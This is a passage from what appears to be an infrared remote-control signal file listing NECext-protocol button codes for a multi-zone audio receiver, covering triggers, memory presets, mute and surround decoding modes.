DC2_TRIGGER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3D 00 00 00 -# -name: MZ:_SYSM_REC_9 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3D 00 00 00 -# -name: TRIGGER_2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3D 00 00 00 -# -name: TRIGGER_2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3D 00 00 00 -# -name: 12V:_DC2_Z1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3E 00 00 00 -# -name: DC2_TRIG_Z1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3E 00 00 00 -# -name: DC2_TRG_ZONE_1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3E 00 00 00 -# -name: ZONE1_DC2_TRG_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3E 00 00 00 -# -name: DC2_TRIGGER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3E 00 00 00 -# -name: TRIGGER:_2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3E 00 00 00 -# -name: TRIGGER:_2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3E 00 00 00 -# -name: 12V:_DC2_Z1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3F 00 00 00 -# -name: DC2_TRIG_Z1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3F 00 00 00 -# -name: DC2_TRG_ZONE_1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3F 00 00 00 -# -name: ZONE1_DC2_TRG_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3F 00 00 00 -# -name: DC1_MANUAL_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3F 00 00 00 -# -name: TRIGGER:_1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3F 00 00 00 -# -name: TRIGGER:_2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3F 00 00 00 -# -name: TRIGGER:_2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3F 00 00 00 -# -name: DC1_MANUAL_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 40 00 00 00 -# -name: TRIGGER:_1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 40 00 00 00 -# -name: DC2_MANUAL_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 41 00 00 00 -# -name: TRIGGER:_2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 41 00 00 00 -# -name: DC2_MANUAL_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 42 00 00 00 -# -name: TRIGGER:_2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 42 00 00 00 -# -name: Z4:_BASS_+ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 43 00 00 00 -# -name: Z4:_BASS_- -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 44 00 00 00 -# -name: Z4:_TREBLE_+ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 45 00 00 00 -# -name: Z4:_TREBLE_- -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 46 00 00 00 -# -name: Z4:_BALANCE_LEFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 47 00 00 00 -# -name: Z4:_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 48 00 00 00 -# -name: SYS_MEM_1_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 49 00 00 00 -# -name: Z2:_SYSM_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 49 00 00 00 -# -name: Z2:_SYSM_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 49 00 00 00 -# -name: SYS_MEM_2_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4A 00 00 00 -# -name: Z2:_SYSM_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4A 00 00 00 -# -name: Z2:_SYSM_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4A 00 00 00 -# -name: SYS_MEM_3_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4B 00 00 00 -# -name: Z2:_SYSM_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4B 00 00 00 -# -name: Z2:_SYSM_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4B 00 00 00 -# -name: SYS_MEM_4_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4C 00 00 00 -# -name: Z2:_SYSM_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4C 00 00 00 -# -name: Z2:_SYSM_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4C 00 00 00 -# -name: SYS_MEM_1_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4D 00 00 00 -# -name: Z3:_SYSM_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4D 00 00 00 -# -name: Z3:_SYSM_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4D 00 00 00 -# -name: SYS_MEM_2_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4E 00 00 00 -# -name: Z3:_SYSM_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4E 00 00 00 -# -name: Z3:_SYSM_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4E 00 00 00 -# -name: SYS_MEM_3_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4F 00 00 00 -# -name: Z3:_SYSM_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4F 00 00 00 -# -name: Z3:_SYSM_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 4F 00 00 00 -# -name: SYS_MEM_4_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 50 00 00 00 -# -name: Z3:_SYSM_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 50 00 00 00 -# -name: Z3:_SYSM_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 50 00 00 00 -# -name: Z4:_SYSM_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 51 00 00 00 -# -name: Z4:_SYSM_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 51 00 00 00 -# -name: Z4:_SYSM_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 52 00 00 00 -# -name: Z4:_SYSM_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 52 00 00 00 -# -name: Z4:_SYSM_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 53 00 00 00 -# -name: Z4:_SYSM_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 53 00 00 00 -# -name: Z4:_SYSM_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 54 00 00 00 -# -name: Z4:_SYSM_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 54 00 00 00 -# -name: SYS_MEM_1_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 55 00 00 00 -# -name: Z2:_SYSM_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 55 00 00 00 -# -name: Z2:_SYSM_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 55 00 00 00 -# -name: SYS_MEM_2_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 56 00 00 00 -# -name: Z2:_SYSM_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 56 00 00 00 -# -name: Z2:_SYSM_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 56 00 00 00 -# -name: SYS_MEM_3_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 57 00 00 00 -# -name: Z2:_SYSM_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 57 00 00 00 -# -name: Z2:_SYSM_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 57 00 00 00 -# -name: SYS_MEM_4_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 58 00 00 00 -# -name: Z2:_SYSM_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 58 00 00 00 -# -name: Z2:_SYSM_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 58 00 00 00 -# -name: SYS_MEM_1_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 59 00 00 00 -# -name: Z3:_SYSM_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 59 00 00 00 -# -name: Z3:_SYSM_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 59 00 00 00 -# -name: SYS_MEM_2_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5A 00 00 00 -# -name: Z3:_SYSM_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5A 00 00 00 -# -name: Z3:_SYSM_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5A 00 00 00 -# -name: SYS_MEM_3_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5B 00 00 00 -# -name: Z3:_SYSM_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5B 00 00 00 -# -name: Z3:_SYSM_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5B 00 00 00 -# -name: SYS_MEM_4_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5C 00 00 00 -# -name: Z3:_SYSM_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5C 00 00 00 -# -name: Z3:_SYSM_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5C 00 00 00 -# -name: Z4:_SYSM_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5D 00 00 00 -# -name: Z4:_SYSM_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5D 00 00 00 -# -name: Z4:_SYSM_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5E 00 00 00 -# -name: Z4:_SYSM_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5E 00 00 00 -# -name: Z4:_SYSM_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5F 00 00 00 -# -name: Z4:_SYSM_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 5F 00 00 00 -# -name: VOLUME_BANK_MAIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: Z3:_VOL_MEM_LOAD_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: Z3_VOL_MEM_LOAD_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: Z3:_VL_P_RECL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: V._PRESET_RECALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: Z3_VOL_MEM:_LOAD_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: VOL_RECALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: VOL_MEMORY_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: Z3:_VOL_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: Z4:_SYSM_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: Z3:_VOL_RECALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: Z3:_VOL_RECALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: Z4:_SYSM_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 60 00 00 00 -# -name: VOLUME_BANK_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 61 00 00 00 -# -name: Z3:_VOL_MEM_LOAD_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 61 00 00 00 -# -name: Z3_VOL_MEM_LOAD_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 61 00 00 00 -# -name: Z3:_VL_P_RECL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 61 00 00 00 -# -name: V._PRESET_RECALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 61 00 00 00 -# -name: Z3_VOL_MEM:_LOAD_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 61 00 00 00 -# -name: VOL_RECALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 61 00 00 00 -# -name: Z3:_VOL_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 61 00 00 00 -# -name: Z3:_VOL_RECALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 61 00 00 00 -# -name: Z3:_VOL_RECALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 61 00 00 00 -# -name: VOLUME_BANK_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 62 00 00 00 -# -name: Z3:_VOL_MEM_LOAD_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 62 00 00 00 -# -name: Z3_VOL_MEM_LOAD_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 62 00 00 00 -# -name: Z3:_VL_P_RECL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 62 00 00 00 -# -name: V._PRESET_RECALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 62 00 00 00 -# -name: Z3_VOL_MEM:_LOAD_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 62 00 00 00 -# -name: VOL_RECALL_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 62 00 00 00 -# -name: Z3:_VOL_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 62 00 00 00 -# -name: Z3:_VOL_RECALL_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 62 00 00 00 -# -name: Z3:_VOL_RECALL_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 62 00 00 00 -# -name: Z4:_VOL_RECALL_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 62 00 00 00 -# -name: VOLUME_BANK_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: Z3:_VOL_MEM_LOAD_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: Z3_VOL_MEM_LOAD_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: Z3:_VL_P_RECL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: V._PRESET_RECALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: Z3_VOL_MEM:_LOAD_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: MUTE_ON_(-40DB) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: VOL_RECALL_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: MZ:_MUTE_-40DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: Z3:_VOL_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: MZ:_MUTE_ON_-40DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: Z3:_VOL_RECALL_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: Z3:_VOL_RECALL_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 63 00 00 00 -# -name: VOLUME_BANK_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 64 00 00 00 -# -name: Z3:_VOL_MEM_LOAD_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 64 00 00 00 -# -name: Z3_VOL_MEM_LOAD_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 64 00 00 00 -# -name: Z3:_VL_P_RECL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 64 00 00 00 -# -name: V._PRESET_RECALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 64 00 00 00 -# -name: Z3_VOL_MEM:_LOAD_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 64 00 00 00 -# -name: MUTE_ON_(-40DB) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 64 00 00 00 -# -name: Z3:_VOL_REC_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 64 00 00 00 -# -name: Z2:_MUTE_-40DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 64 00 00 00 -# -name: MUTE_-40DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 64 00 00 00 -# -name: MUTE_-40DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 64 00 00 00 -# -name: Z3:_VOL_RECALL_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 64 00 00 00 -# -name: VOLUME_BANK_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 65 00 00 00 -# -name: Z3:_VOL_MEM_LOAD_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 65 00 00 00 -# -name: Z3_VOL_MEM_LOAD_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 65 00 00 00 -# -name: Z3:_VL_P_RECL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 65 00 00 00 -# -name: V._PRESET_RECALL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 65 00 00 00 -# -name: Z3_VOL_MEM:_LOAD_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 65 00 00 00 -# -name: MUTE_ON_(-40DB) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 65 00 00 00 -# -name: Z3:_VOL_REC_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 65 00 00 00 -# -name: Z3:_MUTE_-40DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 65 00 00 00 -# -name: MUTE_-40DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 65 00 00 00 -# -name: Z3:_VOL_RECALL_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 65 00 00 00 -# -name: MUTE_-40DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 65 00 00 00 -# -name: VOLUME_BANK_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 66 00 00 00 -# -name: Z3:_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 66 00 00 00 -# -name: Z3_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 66 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 66 00 00 00 -# -name: Z4:_MUTE_-40DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 66 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 66 00 00 00 -# -name: 2CH_DECODE_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: DSP_PLII_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: DSP:_PLII_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: DSP:_S_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: SUR_DEC_PLIIX_MOV. -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: DSP:_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: DCODE_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: MUTE_ON_(-40DB)_AZ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: PROLOGIC_IIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: DSP_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: DECOD:_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: AZ:_MUTE_-40DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: PROGRAM_PLII_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: SUR_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: MZ:_MUTE_ON_-40DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: SUR_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: 2CH_DECODE_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: DSP_PLII_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: DSP:_PLII_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: DSP:_S_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: SUR_DEC_PLIIX_MUS. -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: DSP:_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: DCODE_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: PROLOGIC_IIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: DSP_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: DECOD:_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: FAN:_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: PROGRAM_PLII_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: SUR_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: SUR_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: 2CH_DECODE_CINEM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: DSP_NEO:6_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: DSP:_NEO/6_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: DSP:_S_NEO:6_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: SUR_DEC_NEO6_CINE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: DSP:_NEO:6_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: DCODE_NEO6_MOVI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: NEO:6_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: DSP:_NEO:6_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: DSP:_NEO6_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: DSP_NEO6_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: DECOD:_NEO6_MOVI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: DECOD:_PRO-LOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: FAN:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: PROGRAM_NEO:6_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: SUR_NEO6_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: SUR_NEO6_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: 2CH_DECODE_NMUSI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: DSP_NEO:6_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: DSP:_NEO/6_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: DSP:_S_NEO:6_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: SUR_DEC_NEO6_MUS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: DSP_NEO6:_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: DSP:_NEO:6_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: DCODE_NEO6_MUSI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: NEO:6_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: DSP:_NEO6_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: DSP_NEO6_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: DECOD:_NEO6_MUSI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: PROGRAM_NEO:6_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: SUR_NEO6_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: SUR_NEO6_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: VOL_MEM_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: VOLUME_MEMORY_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: PRESET_MEMORY_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: MZ:_VOL_P_MEM_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: MZ:_VOL_MEM_SAVE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: MZ_VOL_MEM_SAVE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: MZ:_VL_P_MEM_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: MZ_VOL_MEM:_SAVE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: VOL_MEMORY_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: VOL._MEMORY_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: VOLUME_MEMORY:_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: MZ:_VOL_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: VOLUME_BANK_MEMORY_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: MZ:_VOL_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6B 00 00 00 -# -name: VOL_MEM_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: VOLUME_MEMORY_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: PRESET_MEMORY_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: MZ:_VOL_P_MEM_B -type: parsed -protocol: NECext -address: 7E 00 00 00 